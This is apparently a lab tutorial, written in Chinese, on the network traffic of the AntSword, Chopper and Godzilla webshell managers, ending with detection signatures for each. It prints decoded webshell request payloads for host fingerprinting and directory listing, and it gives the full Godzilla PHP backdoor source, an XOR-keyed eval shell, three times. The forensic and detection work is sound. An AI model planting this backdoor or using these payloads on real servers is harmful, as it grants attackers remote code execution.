常见webshell管理工具流量分析

蚁剑流量分析

  • 靶机:192.168.117.230
  • 攻击机:192.168.117.1

使用wireshark进行抓包,这里选择虚拟机的网卡

image-20230617182519006

先查看木马是否正常

image-20230617182612506

然后打开蚁剑,准备连接木马

image-20230617182700593

先不要进行连接,先开启抓包,然后再进行连接。

image-20230617182952367

然后可以进行新建文件、查看文件、编辑文件等操作。

然后断开连接,再停止抓包

image-20230617183115723

将流量包保存。然后在过滤器里面过滤http请求

image-20230617184811185

然后追踪流

image-20230617184826120

image-20230617184929554

将cmd(这是你的连接密码)后面的内容进行url解码,这里是第一次http请求

1
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.e46c7297";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "d40"."a61";echo @asenc($output);echo "25284"."0a6b1";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

下面这段几乎是所有webshell客户端连接PHP类webshell都有的一种代码

1
@ini_set("display_errors", "0");@set_time_limit(0);

第二次http请求,直接将0修改为1

image-20230617185021954

image-20230617185102536

1
2
2uL3Zhci93d3cvaHRtbC8=&cmd=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.04cc128be0";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "8a222"."3d050";echo @asenc($output);echo "b0ad05"."234b6c";}ob_start();try{$D=base64_decode(substr($_POST["c46bdd40d38eda"],2));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="	".$T."	".@filesize($P)."	".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

这里总结蚁剑的几个特征:

1
2
3
1. 蚁剑的流量会有两次请求
2. 请求的主题会经过URL编码
3. 存在ini_set('display_errors','0')字符特征码

菜刀流量分析

抓包还是跟上面一样,这里只是使用菜刀。

image-20230617190342116

image-20230617190427491

image-20230617190438668

然后下面进行分析,一样过滤http,并且追踪流

image-20230617190557710

image-20230617190616805

可以发现这里只会有一次请求,所以跟蚁剑还是有所区别的。

然后我们还可以发现,结果会有一个特征:X@Y 结果 X@Y

image-20230617190740989

image-20230617190758050

然后我们再次查看流量,发现其请求头是百度的请求头

image-20230617190843888

其请求体的内容默认是base64编码

image-20230617190919039

1
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("X@Y");die();

请求体中还存在eval,assert等函数

image-20230617191039337

所以菜刀的流量分析总结如下:

1
2
3
4
1. 请求体中含有eval、assert等函数
2. 请求头默认为百度的请求头
3. 请求的payload为base64编码
4. 请求体中的执行结果为明文,其结果被X@Y包裹

哥斯拉v4.0 流量分析

image-20230617191443292

image-20230617191611258

image-20230617191624245

image-20230617191642290

然后过滤http,追踪流,发现这里是先反转字符串,然后进行base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

这里只取了key经过md5加密的前面16位

1
2
3
md5(key)=3c6e0b8a9c15224a8228b9a98ca1531d

$key='3c6e0b8a9c15224a'

哥斯拉在建立连接的时候会发起三次请求

image-20230617193251861

image-20230617193306481

image-20230617193316087

第一次请求发现哥斯拉是为了建立session

image-20230617193410413

第一次请求并没有返回体

第二次请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

第三次请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

发现其请求都是一样的,但是响应是不一样的。

总结哥斯拉的流量特征:

1
2
3
4
1. 在经过base64解码之前,要进行一次反转
2. 在连接的过程中会有三次请求
3. 第一次请求并没有响应内容
4. 第二次请求和第三次请求的内容是相同的